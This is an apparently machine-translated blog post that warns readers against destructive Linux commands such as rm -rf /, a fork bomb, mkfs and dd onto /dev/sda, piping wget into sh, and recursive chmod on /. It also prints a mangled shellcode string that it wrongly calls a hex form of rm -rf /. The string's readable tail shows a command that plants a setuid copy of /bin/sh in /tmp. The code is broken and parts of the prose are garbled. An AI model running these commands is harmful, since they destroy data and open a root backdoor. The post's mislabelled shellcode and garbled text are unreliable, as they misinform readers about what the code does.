Dangerous commands in GNU / Linux

I copy the commands and their description (and add in some my comments) 😛

rm -rf /

This command recursively and forcibly removes all files and directories stored on the root partition. Therefore, the system, the data and even the mother who gave birth to him are loaded.

[Code]

char esp [] _attribute_ ((section (". text"))) / * esp
release * /
= «\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68»
«\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99»
«\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7»
«\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56»
«\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31»
«\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69»
«\x6e\x2f\x73\x68\x00\x2d\x63\x00»
«Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; »;

[/ Code]

This is the hexadecimal version of the command rm -rf / that can even fool the most knowledgeable.

mkfs.ext3 /dev/sda

This command can format or delete all files contained in the device mentioned after the command mkfs.

: (){:|:&};:

Actually the first two characters go together, : ( What happens that I separate them so that this case does not come out 🙁 Known as the fork bomb, this command asks your system to execute a large number of processes until the system crashes, which may result in information damage.

comando > /dev/sda

This command will write raw data to a block which will usually corrupt the filesystem resulting in loss of information.

wget http://fuente_poco_confiable O | sh

Never download scripts or code from a source that you cannot fully trust, much less if you are going to run it automatically once downloaded.

mv ~/* /dev/null
mv /home/tucarpetaprincipal/* /dev/null

This command will move all the files stored in your main folder to a place that does not exist, permanently losing all your information.

dd if=/dev/urandom of=/dev/sda

This command will fill the entire partition of your hard drive with random data.

chmod -R 777 /

This command will grant write permissions to your entire system.

chmod 000 -R /
chown nobody:nobody -R /

This command removes all privileged access to all users on the system except Root.

yes > /dev/sda

This command will fill your hard drive with the letter 'y'.

rm -rf /boot/

This command removes all kernel, initrd, and GRUB / LILO files required to boot the system.

rm /bin/init
cd / ; find -iname init -exec rm -rf {} \;

This command will delete all files that contain the word 'init', even'/sbin/init'.